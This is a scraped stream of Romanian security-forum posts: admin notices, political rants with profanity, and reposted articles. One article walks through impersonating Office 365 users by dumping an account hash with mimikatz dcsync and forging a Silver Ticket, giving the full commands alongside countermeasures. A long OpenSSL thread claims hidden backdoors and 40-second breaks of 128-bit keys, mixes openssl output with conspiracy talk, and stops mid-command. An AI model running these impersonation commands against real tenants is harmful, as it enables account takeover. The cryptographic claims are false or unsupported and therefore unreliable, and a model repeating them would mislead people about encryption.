Nytro

Mi-a dat Soros mail si cica ne trimite banii in Bitcoin.

Vreau sa mentionez ca nu a fost "Galeria lui Dinamo". Asa cum s-a intamplat cu Ponta, doar cativa din galerie s-au implicat, ca si aici probabil, pentru bani. Insa la primul meci, aproape toata peluza il injura pe Ponta. Probabil nu au fost platiti prea bine, din moment ce nici in echipa (care e o afacere) nu se baga bani. Asadar au fost niste muritori de foame, dintre care unii (sau toti) fac parte din peluza.

A fost publicata in Monitorul Oficial. Muie PSD si Guvernul Pulii.

Cei din staff sunt fortati sa foloseasca 2FA. Puteti totusi sa ne furati cookie-urile. Asta nu inseamna ca veti avea acces la AdminCP. Avem 3FA

Acum va putati seta Two-Factor autehntication si folosind tema default (neagra).

Am facut update la IP Board: https://invisionpower.com/release-notes/ Ce e nou: Two factor authentication. Insa deocamdata se poate seta doar folosind template-ul Default.

Am patit si eu cand am ajuns la birou. Mi-am petrecut 2 minute sa instalez certificat de la Let's Encrypt, va recomand. E OK acum?

O sa verific.

Ba da, renewal va costa probabil 30 EURO, ca sa scoata parleala.

Start fuzzing on Adobe Reader, find a crash, reproduce it, try to exploit it, exploit it, bypass mitigations, write a POC, write a full exploit.

Nu e relevant ce server e. Xeon, 32 GB. Ideea e sa imi spuneti daca apar probleme.

Clear cache ceva, poate pastreaza vechiul certificat, nu stiu.

In sfarsit ceva nou.

Salut, Am migrat catre un server nou, ceea ce inseamna ca pot sa apara diferite probleme. Postati aici ce fel de probleme intalniti si le vom repara cat putem de repede. Thanks, // Nytro

http://m.zf.ro/eveniment/asa-cum-vede-dragnea-romania-nu-avem-nevoie-de-angajati-cu-salarii-mari-si-nici-de-industrii-de-elita-16065908

Deoarece platesc deja mai mult decat altii prin CAS si CASS. Cei din IT, avand salarii mari, au si contributii mari, dar beneficii pula. Mergi la spital, stai la coada cu cei care platesc 50 RON/luna si ai parte de aceleasi "beneficii" cand tu dai milioane bune. In plus, IT-ul reprezinta peste 6% din PIB. Sunt miliarde de dolari care ajung in tara. Se platesc taxe pe acesti bani si se cheltuiesc acesti bani. E o industrie care ajuta Romania si de aceea trebuie sustinuta. PS: Exista diferite alte beneficii si in alte domenii, gen agricultura, start-upri (nu neaparat IT) si mai stiu eu ce.

Deocamdata nu, asteptam sa vedem daca se ia aceasta masura sau nu. Muie PSD, intotdeauna!

Aproape jumătate dintre angajaţii din industria IT din România ar putea să nu mai beneficieze de scutirea la plata impozitului pe venit. O modificare adusă Codului Fiscal la finalul anului trecut şi publicată acum în Monitorul Oficial prevede că vor beneficia în continuare de această facilitate doar cei care produc software. Modificarea adoptată de guvern în decembrie se referă la definirea activității de producție de software, dar textul apărut în Monitorul Oficial lasă loc de interpetări. Reiese că cei care produc programe de software vor fi scutiți de taxa de 16%, dar nu specifică foarte clar ce se întâmplă cu persoanele care modifică aceste produse sau contribuie la îmbunătățirea lor. Sunt 30.000 de angajaţi din IT care se ocupă de mentenanţa unor aplicaţii sau modifică produse software. În industria IT din România activează 75.500 de angajaţi în 14.000 de companii. Industria IT din România a crescut în ultimii ani, reprezentând 3% din PIB în 2012, iar în 2016, 6% din PIB. Veniturile generate sunt de peste 3,6 miliarde de euro. Există două variante: guvernul modifică normele de aplicare astfel încât lucrurile să fie mult mai clare, ori Ministerul de Finanțe emite un nou ordin care să stabilească o nouă definiție mult mai clară a activității de producție de software. (Sursa: Digi24) Sursa: http://www.digi24.ro/stiri/economie/angajatii-it-fara-scutire-la-impozitul-pe-venit-651101

Impersonating Office 365 Users With Mimikatz January 15, 2017 | Michael Grafnetter Introduction Last month, Microsoft has introduced a new feature of Azure AD Connect called Single Sign On. It allows companies to configure SSO between AD and AAD without the need to deploy ADFS, which makes it an ideal solution for SMEs. Here is a high-level diagram of this functionality: As we can see from the diagram above, Azure AD exposes a publicly available endpoint that accepts Kerberos tickets and translates them into SAML and JWT tokens, which are understood and trusted by other cloud services like Office 365, Azure or Salesforce. And wherever you have Kerberos-based authentication, it can be attacked using Silver Tickets. In usual circumstances this attack can only be performed from the intranet. But what really caught my attention is the fact that with this new SSO feature, Silver Tickets could be used from the entire internet. Let’s give it a try then! The Nasty Stuff To test this technique, we need to retrieve some information from Active Directory first: NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd. This value can be retrieved from AD using mimikatz: 1 mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit My own DSInternals PowerShell Module could do the same job: 1 2 Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso ` -Server lon-dc1.contoso.local Both of these commands need Domain Admins permissions. Name of the AD domain, e.g. contoso.local. AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234. Having this information we can now create and use the Silver Ticket on any Windows computer connected to the internet. It does not even matter whether it is joined to a domain or a workgroup: Create the Silver Ticket and inject it into Kerberos cache: 1 2 3 4 mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit Launch Mozilla Firefox. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value “https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com”. Navigate to any web application that is integrated with our AAD domain. We will use Office 365, which is the most commonly used one. Once at the logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER. That’s it, we’re in! To log in as another user, run the command below and repeat steps 1-6. 1 klist purge It is also worth noting that the password of the AZUREADSSOACC account never changes, so the stolen hash/key will work forever. It could therefore be misused by highly privileged employees to retain access to the IT environment after leaving the company. Dealing with such situations is a much broader problem, which is aptly depicted by the following old Narnian saying: Countermeasures First of all, I have to point out that this technique would not be very practical in real-world situations due to these reasons: The SSO feature is in Preview and has to be explicitly enabled by an AD admin. Just a handful of companies probably use it at the time of writing this article and enterprises will quite surely stick to their proven ADFS deployments even after this feature reaches GA. The hash/key of the AZUREADSSOACC account can only be retrieved by Domain Admins from DCs by default. But if an attacker had such highly privileged access to an Active Directory domain, he/she would be able to do some way nastier stuff than just replicating a single hash. The password of the AZUREADSSOACC account is randomly generated during the deployment of Azure AD Connect. It would therefore be impossible to guess this password. As you can see, there is simply no need to panic. But just to be safe, I would recommend these generic security measures: Only delegate administrative access to trusted individuals and keep the number of members of the Domain Admins group (and other privileged groups) as low as possible. Protect backups of Domain Controllers, so no-one could extract sensitive information from them. Enable and enforce Azure MFA for users authenticating from external IP addresses. It is very straightforward and effective against many kinds of attacks. Consider implementing Azure AD conditional access. Deploy Microsoft Advanced Threat Analytics to detect malicious replication and other threats to your AD infrastructure. Force a password change on the AZUREADSSOACC account by re-deploying Azure AD Connect SSO after a highly privileged employee leaves the company. This should be done together with resetting the password of krbtgt and other sensitive accounts. I am also quite sure that the Azure AD team at Microsoft is fully aware of this potential threat and there is chance that they could implement some kind of heuristics to detect forged Kerberos tickets in the future. It would also be nice if they implemented automatic password changes for AZUREADSSOACC (or it is already there and I just missed it). Again, we are talking about a feature that has not even reached the GA stage yet, so it is too soon to judge. Conclusion Although the Silver Ticket attack has been here for some years, it is now probably the first time it can be used over the internet against a cloud service, which theoretically makes it even more potent. On the other hand, it would be quite hard to perform this technique in a real-world environment due to impracticalities discussed in the previous section, so there is no need to worry. The new SSO feature of Azure AD Connect can therefore be considered safe and I would recommend using it. Sursa: https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/

ctf-tools This is a collection of setup scripts to create an install of various security research tools. Of course, this isn't a hard problem, but it's really nice to have them in one place that's easily deployable to new machines and so forth. Installers for the following tools are included: Category Tool Description binary afl State-of-the-art fuzzer. binary angr Next-generation binary analysis engine from Shellphish. binary barf Binary Analysis and Reverse-engineering Framework. binary bindead A static analysis tool for binaries. binary checksec Check binary hardening settings. binary codereason Semantic Binary Code Analysis Framework. binary crosstool-ng Cross-compilers and cross-architecture tools. binary cross2 A set of cross-compilation tools from a Japanese book on C. binary elfkickers A set of utilities for working with ELF files. binary elfparser Quickly determine the capabilities of an ELF binary through static analysis. binary evilize Tool to create MD5 colliding binaries binary gdb Up-to-date gdb with python2 bindings. binary gef Enhanced environment for gdb. binary hongfuzz A general-purpose, easy-to-use fuzzer with interesting analysis options. binary libheap gdb python library for examining the glibc heap (ptmalloc) binary panda Platform for Architecture-Neutral Dynamic Analysis. binary pathgrind Path-based, symbolically-assisted fuzzer. binary peda Enhanced environment for gdb. binary preeny A collection of helpful preloads (compiled for many architectures!). binary pwndbg Enhanced environment for gdb. Especially for pwning. binary pwntools Useful CTF utilities. binary python-pin Python bindings for pin. binary qemu Latest version of qemu! binary qira Parallel, timeless debugger. binary radare2 Some crazy thing crowell likes. binary ropper Another gadget finder. binary rp++ Another gadget finder. binary shellnoob Shellcode writing helper. binary shellsploit Shellcode development kit. binary snowman Cross-architecture decompiler. binary taintgrind A valgrind taint analysis tool. binary villoc Visualization of heap operations. binary virtualsocket A nice library to interact with binaries. binary wcc The Witchcraft Compiler Collection is a collection of compilation tools to perform binary black magic on the GNU/Linux and other POSIX platforms. binary xrop Gadget finder. forensics binwalk Firmware (and arbitrary file) analysis tool. forensics dislocker Tool for reading Bitlocker encrypted partitions. forensics exetractor Unpacker for packed Python executables. Supports PyInstaller and py2exe. forensics firmware-mod-kit Tools for firmware packing/unpacking. forensics pdf-parser Tool for digging in PDF files forensics peepdf Powerful Python tool to analyze PDF documents. forensics scrdec A decoder for encoded Windows Scripts. forensics testdisk Testdisk and photorec for file recovery. crypto cribdrag Interactive crib dragging tool (for crypto). crypto foresight A tool for predicting the output of random number generators. To run, launch "foresee". crypto featherduster An automated, modular cryptanalysis tool. crypto hashkill Hash cracker. crypto hashpump A tool for performing hash length extension attaacks. crypto hashpump-partialhash Hashpump, supporting partially-unknown hashes. crypto hash-identifier Simple hash algorithm identifier. crypto littleblackbox Database of private SSL/SSH keys for embedded devices. crypto msieve Msieve is a C library implementing a suite of algorithms to factor large integers. crypto pemcrack SSL PEM file cracker. crypto pkcrack PkZip encryption cracker. crypto python-paddingoracle Padding oracle attack automation. crypto reveng CRC finder. crypto ssh_decoder A tool for decoding ssh traffic. You will need ruby1.8 from https://launchpad.net/~brightbox/+archive/ubuntu/ruby-ng to run this. Run with ssh_decoder --help for help, as running it with no arguments causes it to crash. crypto sslsplit SSL/TLS MITM. crypto xortool XOR analysis tool. crypto yafu Automated integer factorization. web burpsuite Web proxy to do naughty web stuff. web commix Command injection and exploitation tool. web dirb Web path scanner. web dirsearch Web path scanner. web mitmproxy CLI Web proxy and python library. web sqlmap SQL injection automation engine. web subbrute A DNS meta-query spider that enumerates DNS records, and subdomains. stego sound-visualizer Audio file visualization. stego steganabara Another image steganography solver. stego stegdetect Steganography detection/breaking tool. stego stegsolve Image steganography solver. stego zsteg detect stegano-hidden data in PNG & BMP. android apktool Dissect, dis-assemble, and re-pack Android APKs android android-sdk The android SDK (adb, emulator, etc). misc z3 Theorem prover from Microsoft Research. misc jdgui Java decompiler. misc veles Binary data analysis and visulalization tool. Sursa: https://github.com/zardus/ctf-tools

Catching Exploit Kit Landers By Brad Antoniewicz January 11, 2017 Exploit Kits play an integral role in many of the attacks we see on a daily basis. In this blog post we show how we use our data in a novel way to uncover new components of the attack infrastructure and protect our customers earlier. BACKGROUND A race unfolds each time a new WordPress, Joomla, or similar web application vulnerability is disclosed. Actors are looking to quickly craft an exploit and search the internet for vulnerable instances. Once compromised, these personal and business websites are turned against their users to become Exploit Kit Landers. Each visitor is selectively evaluated by the time of day they’re visiting the site, their source IP address, along with the versions of their browser and various plugins. If they match a specific profile, the Lander injects a single line of HTML or JavaScript code into the page. This line of code makes a call to the Exploit Kit Gate, which serves up a worthy exploit to take advantage of a vulnerability in an often outdated browser or plugin used by the visitor. We use the term ‘Gate’ to describe the attacker-controlled system which may serve the exploit itself or may be an intermediary step where the client is profiled a second time then sent to the exploit. With arbitrary execution achieved on the visitor’s system, the exploit kit has done its job. The shellcode of the exploit downloads a binary and executes the payload of the attacker’s choice which, in many cases, is ransomware. SO MANY CALLBACKS The infection chain is littered with internet callbacks between the attacker and the victim. The victim first goes to the infected Lander, then is redirected to the Gate, then downloads the payload, and then calls back to ransomware command and control (C2) to negotiate keys. We can detect this communication at the network layer and ultimately prevent an infection from succeeding by blocking communication to the hosts involved in any of these callbacks. While we have developed systems to uncover each of these callbacks, one group which is particularly interesting to us are the Landers. Articol complet: https://blog.opendns.com/2017/01/11/catching-exploit-kit-landers/

I'm glad more people are in here now. It gets much, much worse than this. The post below literally says "if you have the password, you can generate the key and open the file. The real exploit is that you don't need the password or the key to open a file. That is how serious this is. It is really bad. It is not a joke. Some of you are joining now and seeing how bad the weak KDF is that they're using. It gets much worse. The salt is not a random number. It is a side channel that leaks information about the passphrase. This reduces the entropy of the search space, so that it now becomes possible to brute force. The REAL exploit is what's going on with memory management. The ENGINE plugin literally modifies the code during the compile, so what you think it's doing isn't what's being done. It's one of the most insane things I've ever seen in my life. You can see it if you compile and then decompile the code. It's basically the same thing they did with Heartbleed, but on steroids. Same exact design pattern. Memory management is so thoroughly skewered that you might as well think of the entire thing as a secret data structure. If you really want to see what is happening here, just go look in the random number generator. It is not random. They do all sorts of stuff in the entropy pool to make it look like the time, date, process id, etc are all involved. Then they clear the buffer in a call to ENGINE (!!) which throws all of that out, pops stuff off of the secret data structure. There are race conditions in the entropy pool. There are actually even comments telling you this. There is actually a comment in the entropy pool saying something like, "we are not ambitious to provide *information-theoretic* randomness." Or, translated into plain English, "I am a contractor who is trying to warn people the random number generator is not random." There are times when they even have comments in the code telling people not to worry about valgrind complaining that uninitialized memory is being used to seed the bufer. Again, translated into plain English, "I am a contractor, and you should definitely worry about this." There is, I swear to god, a comment right in the decrypt function that basically says "PADDING ORACLE HERE." It is insane. They didn't even take it out. The whole thing is ruined. If you are just tuning in now, read the writeup posted before. Seriously, you are in for a hell of a ride. ------------------------------------------------------------------------------------------- # One error and one missing step in 5) have been corrected. # Procedure now 100% verified You can actually get the full key. This is how it works. first half of the key = MD5(password+salt) second half of the key = first half + MD5(first half+password+salt) Let's prove this step by step. openssl enc -aes-256-cbc -p -in 000svgLA.7z -out test.aes -salt -k p@ssword salt=596C09F4AFCC2B9D key=DD73502243215E39A0CDDE52CF5AB975EAA8F8DA936B35650308113E42DF8862 iv =322ACE8546EBA994AF17A1BC5DC999B1 We wan't to get the key value. Let's do it. 1.) Save the salt: perl -e 'print pack "H*", "596C09F4AFCC2B9D"' > salt 2.) Save the password: echo -n p@ssword > keyhalf 3.) Add them (password+salt): cat salt >> keyhalf 4.) Get the first half of the key: md5sum keyhalf dd73502243215e39a0cdde52cf5ab975 keyhalf Compare to the full key: DD73502243215E39A0CDDE52CF5AB975 EAA8F8DA936B35650308113E42DF8862 Checks out. So now we need the rest. We can easily get it with the information we have so far since we now know that it's = first half + MD5(first half+password+salt) 5.) Save the part of the key we already have: perl -e 'print pack "H*", "DD73502243215E39A0CDDE52CF5AB975"' > key echo -n p@ssword > password cat key > keysecond 6.) Add the password: cat password >> keysecond 7.) Add the salt: cat salt >> keysecond 8.) Get the second half of the key: md5sum keysecond eaa8f8da936b35650308113e42df8862 keysecond Compare to second half: EAA8F8DA936B35650308113E42DF8862 In step 4.) we got dd73502243215e39a0cdde52cf5ab975 In step 8.) we got eaa8f8da936b35650308113e42df8862 dd73502243215e39a0cdde52cf5ab975 eaa8f8da936b35650308113e42df8862 DD73502243215E39A0CDDE52CF5AB975 EAA8F8DA936B35650308113E42DF8862 We have the full key. We only used MD5 and didn't write a single line of code. Note that this the current version of OpenSSL. There is no patch that can fix the files that have already been encrypted. RIP OpenSSL. ------------------------------------------------------ this is crazy... ------------------------------------------------------ >the first 16 bytes of the key will be equal to MD5(password||salt) Let's test this. openssl enc -aes-256-cbc -pass pass:p@ssword -p -in 000svgLA.7z -out testfile.aes salt=C532A7E7BFFBAD69 key=9104D17FB6C06D9B0F8368D52678FD4B88DF2E244029BF068EED22DD816A5DBC iv =B08DB48DCF6CAC52C6CF040FB06A0809 python pwdsalt2key.py 'p@ssword' 'C532A7E7BFFBAD69' 9104D17FB6C06D9B0F8368D52678FD4B 9104D17FB6C06D9B0F8368D52678FD4B88DF2E244029BF068EED22DD816A5DBC pwdsalt2key.py http://gateway.glop.me/ipfs/QmbYCbZYsViLSAy7ht6iNpecyCeoTWBonsLPtHDa6bX6Ku/pwdsalt2key.py https://zerobin.net/?7ff571d39efdcd1c#uBSr6l6vCFq1EA95h3SQSmK4KVN9rAlMx/58uGRgN0o= import sys from passlib.utils.pbkdf2 import pbkdf1 from binascii import unhexlify, hexlify pwd = str(sys.argv[1]) salt = str(sys.argv[2]) out = pbkdf1(pwd, unhexlify(b''+salt), 1, 16, 'md5') print hexlify(out).decode('ascii').upper() ------------------------------------------------------ ********************************************************************* ORACLE: https://blog.cloudflare.com/yet-another-padding-oracle-in-openssl-cbc-ciphersuites/ https://github.com/FiloSottile/CVE-2016-2107 Explanation: https://blog.cloudflare.com/yet-another-padding-oracle-in-openssl-cbc-ciphersuites/ Code: https://github.com/FiloSottile/CVE-2016-2107 Internal discussion: https://www.openssl.org/news/secadv/20160503.txt Exploit: https://www.exploit-db.com/exploits/39768/ Damage control: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html 'Fix': https://git.openssl.org/?p=openssl.git;a=commitdiff;h=68595c0c2886e7942a14f98c17a55a88afb6c292;hp=643e8e972e54fa358935e5f8b7f5a8be9616d56b Compiled information: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2107 ********************************************************************* BLOCKS AND SIZE: (ls -l, head -c 256) There is also this weird comment in enc.c, line 431: /* * zero the complete buffer or the string passed from the command * line bug picked up by Larry J. Hughes Jr. <hughes@indiana.edu> */ if (str == strbuf) OPENSSL_cleanse(str, SIZE); else OPENSSL_cleanse(str, str_len); The memcpy() routine is explicitly not safe if the source and destination buffers overlap. This can happen when the EVP_enc_null() cipher is used to decrypt longer text than BUF_OFFSET bytes because of this code in bio_enc.c: EVP_CipherUpdate(&(ctx->cipher), (unsigned char *)ctx->buf, &ctx->buf_len, (unsigned char *)&(ctx->buf[BUF_OFFSET]), i); It's the overwrite of the ctx->buf memory that is the problem. Saw this on a SUSE 12 SP2 machine. It is not necessarily repeatable on other machines. Valgrind also complained. https://github.com/openssl/openssl/issues/1935 You should use EVP_ENCODE_LENGTH to determine the required output buffer size: https://github.com/openssl/openssl/blob/master/include/openssl/evp.h#L458 ********************************************************************* MEMORY: (https://www.hex-rays.com/products/decompiler/) >Mem allocator isn't actually an allocator, it's LIFO system that allows the devs to be sloppy and access "already free()d memory", I notice that they alloc in EVP_BytesToKey, whereas LibreSSL does not. >double free https://github.com/guidovranken/openssl-x509-vulnerabilities http://seclists.org/fulldisclosure/2016/Oct/62 There are many other instances of double frees in the code. ********************************************************************* 3SAT: (https://github.com/msoos/cryptominisat) (http://baldur.iti.kit.edu/sat-competition-2016/solvers/main/) >You need to do linear correleation attack on the bit vectors and other annoying things. You can reduce entropy down to 64+32 bits and then its within brute force range with ASIC. >For 3-sat Solver you just download it off of github. There are dozens. >The problem is getting the md5 and aes circuit into 3-SAT, CNF form. You may need to take the C code for the decryption functions and md5 hashing functions, then compile it to verilog. See if there is a way. >You have to represent the hash function as a circuit in CNF. >128 Bit is breakable in 40 seconds with 3-SAT attack. Its not breakable with brute force. ********************************************************************* MD5 PBKDF1: (http://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords/) (https://github.com/qsantos/rainbow) >"The first 16 bytes are actually derived using PBKDF1 as defined in PKCS#5 v1.5. The next 16 bytes would be MD5(PBKDF1(PASSWORD, SALT) || PASSWORD || SALT) and the IV would be MD5(MD5(PBKDF1(PASSWORD, SALT) || PASSWORD || SALT) || PASSWORD || SALT)" >PBKDF1(PASSWORD, SALT) = MD5(PASSWORD || SALT), where || is concatenation ^^There is an idea that this decimates the entropy to 2^128, assuming each of the first 128 passphrases hashes to a unique MD5. However, it's tricky, because you have to find the right preimage to compute the full key, as well as the IV. However, if you have some way to identify that you have the first 128 bits right, then finding collisions for it is easy, since a collision attack on MD5 exists. Either way, this is pretty weak and it's crazy that it's there. > EVP_BytesToKey uses an outrageously weak KDF (basically MD5 salted and iterated a couple times), and drops the entropy down to 128 bits at least. >The process by which the password and salt are turned into the key and IV is not documented, but a look at the source code shows that it calls the OpenSSL-specific EVP_BytesToKey() function, which uses a custom key derivation function with some repeated hashing. This is a non-standard and not-well vetted construct (!) which relies on the MD5 hash function of dubious reputation (!!); that function can be changed on the command-line with the undocumented -md flag (!!!); the "iteration count" is set by the enc command to 1 and cannot be changed (!!!!). This means that the first 16 bytes of the key will be equal to MD5(password||salt), and that's it. >I will tell you a secret. >To decrypt the insurance file. Make sure to archive this before it disappears. >The EVP_BytesToKey key derivative algorithm uses md5. It is trivial to break the key for the first block. ********************************************************************* CONTENT: (binwalk, diff, comm, head/tail -c) >See if the filename, file contents, or choice of key or IV changes the salt. (I believe I saw the key choice did not change the salt) Download: http://gateway.glop.me/ipfs/QmZudb4s2nF5JgdeFA1nKzs6MtvaPr58rR4LzddZqYir3s/evp_test.py It recreates EVP_BytesToKey completely outside of OpenSSL. Example: python evp_test.py md5 'p@ssword' '64 97 22 63 0B 61 9D 74' salt=649722630B619D74 key=F6EEA040C6BDD0EF1429C4CF4FE09FD3EA1C9BDE96B6B41DBFF838E408628BBE iv=576F54891CADC222492E038F8ECE557A ********************************************************************* AES: (http://www.lifl.fr/~bouillag/implementation.html) http://gateway.glop.me/ipfs/QmUUm47AkBuv2atQVLBPjTrVhaXQRDj9bNTqErkaP2TNwB/papers.zip http://gateway.glop.me/ipfs/QmZHXz3g6LBNGYknFMLZbtdTawTNDt8dQByauk5fmFLb2k/aestools.zip https://mega.nz/#!cI9jUAoQ!VGJnhIlTU5YBhIXTNLBfhasER6qxfsD_ho3PO_U5oSs https://mega.nz/#!0BN3lRYT!G172BViFAInD2gTOsyZOZ56zHC4nNA1DHHwP7RliT6U If people are saying the first block of the insurance files contains "runs of zeros," then here's what that looks like. Suppose that AES(block, key) encrypts a block with a key. Then the first block looks like the following equation: AES(IV,key) ^ ciphertext = plaintext Where ^ is XOR. Now: if the plaintext were ALL zeros, that would mean AES(IV,key) ^ ciphertext = 0000000… which means AES(IV,key) = ciphertext But, the IV and key are generated in completely deterministic fashion from the key and the salt. And we have the salt. So that first function really becomes F(passphrase) = ciphertext for a certain F. ********************************************************************* ------------------------------------------------------ openssl enc -aes-256-cbc -pass pass:p@ssword -p -d -in testfile.aes -out test1 salt=2F140A2A667109B6 key=460EBADE3CCC9AD2E6D223EB119435F947CC802044295EA90793AEC981AE3183 iv =20E75E1E60ADF1C345E420EB9CD935BA openssl enc -aes-256-cbc -pass pass:WRONG_PASSWORD -p -d -in testfile.aes -out test2 salt=2F140A2A667109B6 key=C44D5867FFE37E08397DE9A4CC8058EAED59C20EB66759D7F78C960C2B91A200 iv =5F5A6DFC5CCF0A50AD7502BD047076CE bad decrypt 140687120832160:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:539: openssl enc -aes-256-cbc -pass pass:WRONG_PASSWORDxxxxxxx -p -d -in testfile.aes -out test2b salt=2F140A2A667109B6 key=4D44D8C33DD754B64F460A69DA4E4F722678CBF04C44A03C7DB2B5AE4499C9E4 iv =4EABEE050D7D4C29F83B7134BE9FDF21 bad decrypt 140683261372064:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:539: head -c 2560 testfile.aes > snippet openssl enc -aes-256-cbc -pass pass:p@ssword -p -d -in snippet -out test3 salt=2F140A2A667109B6 key=460EBADE3CCC9AD2E6D223EB119435F947CC802044295EA90793AEC981AE3183 iv =20E75E1E60ADF1C345E420EB9CD935BA bad decrypt 140591540508320:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:539: openssl enc -aes-256-cbc -pass pass:WRONG_PASSWORD -p -d -in snippet -out test4 salt=2F140A2A667109B6 key=C44D5867FFE37E08397DE9A4CC8058EAED59C20EB66759D7F78C960C2B91A200 iv =5F5A6DFC5CCF0A50AD7502BD047076CE bad decrypt 140213217490592:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:539: ls -l 5083502 test1 5083488 test2 5083488 test2b 2528 test3 2528 test4 strings test1 > s1 strings test2 > s2 strings test2b > s2b strings test3 > s3 strings test4 > s4 strings testfile.aes > as strings snippet > ss ls -l s1 352345 s2 351306 s2b 352104 s3 153 s4 156 ss 186 as 352191 binwalk test1 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 7-zip archive data, version 0.3 binwalk test2 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- binwalk test2b DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- binwalk test3 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 7-zip archive data, version 0.3 binwalk test4 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- binwalk snippet DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 OpenSSL encryption, salted, salt: 0x2F140A2A667109B6 binwalk testfile.aes DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 OpenSSL encryption, salted, salt: 0x2F140A2A667109B6 head -c 8 test1 7z' head -c 8 test2 `@R head -c 8 test2b nZ head -c 8 test3 7z' head -c 8 test4 `@R tail -c 8 test1 W[ tail -c 8 test2 a ܹ tail -c 8 test3 !H\ tail -c 8 test4 O$ tail -c 8 snippet ( tail -c 8 testfile.aes sQ hachoir-subfile test1 [+] Start search on 5083502 bytes (4.8 MB) [+] File at 0 size=5083502 (4.8 MB): Compressed archive in 7z format [+] File at 4139258 size=27418666 (26.1 MB): MS-DOS executable [+] End of search -- offset=5083502 (4.8 MB) hachoir-subfile test2 [+] Start search on 5083488 bytes (4.8 MB) [+] File at 1605181 size=18645165 (17.8 MB): MS-DOS executable [+] File at 3773184 size=15678389 (15.0 MB): MS-DOS executable [+] File at 4786234 size=2034059 (1.9 MB): MS-DOS executable [+] End of search -- offset=5083488 (4.8 MB) hachoir-subfile test2b [+] Start search on 5083488 bytes (4.8 MB) [+] End of search -- offset=5083488 (4.8 MB) hachoir-subfile test3 [+] Start search on 2528 bytes (2528 bytes) [+] File at 0 size=5083502 (4.8 MB): Compressed archive in 7z format [+] End of search -- offset=2528 (2528 bytes) hachoir-subfile test4 [+] Start search on 2528 bytes (2528 bytes) [+] End of search -- offset=2528 (2528 bytes) hachoir-subfile snippet [+] Start search on 2560 bytes (2560 bytes) [+] End of search -- offset=2560 (2560 bytes) hachoir-subfile testfile.aes [+] Start search on 5083520 bytes (4.8 MB) [+] File at 1292169 size=18091181 (17.3 MB): MS-DOS executable [+] File at 3813667 size=11944255 (11.4 MB): MS-DOS executable [+] End of search -- offset=5083520 (4.8 MB) ------------------------------------------------------ Alright - the holidays are over. We laughed, we cried, we did lots of math. Time to finish the job and bring it all home. In this thread, we will start to make this concrete with OpenSSL. Applying some of the ideas here, what we really want to do with OpenSSL is decrypt a file with a random key (or passphrase), and then let it fail. But, unfortunately, OpenSSL leaks "information" about why it fails (padding oracle, etc). So, if you test a bunch of random passwords, you can collect this leaked information, and use it to narrow down the search space (!!!!) for the next round of tests. THUS, YOU NEVER HAVE TO BRUTE FORCE THE ENTIRE SEARCH SPACE. That is the big idea. You instead brute force a small random "representative sample" of the search space, gather the leaked information as a set of experimental "results," and adjust your probability distribution (and as a result, the entropy) accordingly, use that to rule out HUGE sections of the search space in the next round of tests, then repeat and iterate towards a solution. Rather than try to re-derive the math here from scratch, let's try a concrete example. The following 7z on archive.org is about 5 MB, completely public domain under CC0, and contains SVGs of all the Tic-Tac-Toe games (as used on Wikipedia): Details: https://archive.org/details/000svgLA.7z Direct Download: https://archive.org/download/000svgLA.7z/000svgLA.7z Now, so that we can ALL have the same file, simply do the following commands: $ wget https://archive.org/download/000svgLA.7z/000svgLA.7z ... $ openssl enc -aes-256-cbc -pass pass:p@ssword -S 2F140A2A667109B6 -p -in 000svgLA.7z -out testfile.aes salt=2F140A2A667109B6 key=460EBADE3CCC9AD2E6D223EB119435F947CC802044295EA90793AEC981AE3183 iv =20E75E1E60ADF1C345E420EB9CD935BA $ sha256sum -b testfile.aes b5210324b21f88e83601d8aa2b940622258c3aab459d9476570f9ec427157574 *testfile.aes And now we're all on the same page here. The last line is just to confirm you have the right file. So, now we want to take all of this stuff and do some tests. Here's three sample "Bad Decrypts" with the password set to "WRONG_PASSWORD": $ openssl enc -aes-256-cbc -pass pass:WRONG_PASSWORD -p -d -in testfile.aes -out testdecrypt.7z salt=2F140A2A667109B6 key=C44D5867FFE37E08397DE9A4CC8058EAED59C20EB66759D7F78C960C2B91A200 iv =5F5A6DFC5CCF0A50AD7502BD047076CE bad decrypt 140341122025112:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:529: $ openssl enc -aes-256-cbc -pass pass:WRONG_PASSWORD -p -d -in testfile.aes -out testdecrypt.7z salt=2F140A2A667109B6 key=C44D5867FFE37E08397DE9A4CC8058EAED59C20EB66759D7F78C960C2B91A200 iv =5F5A6DFC5CCF0A50AD7502BD047076CE bad decrypt 140164202464920:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:529: $ openssl enc -aes-256-cbc -pass pass:WRONG_PASSWORD -p -d -in 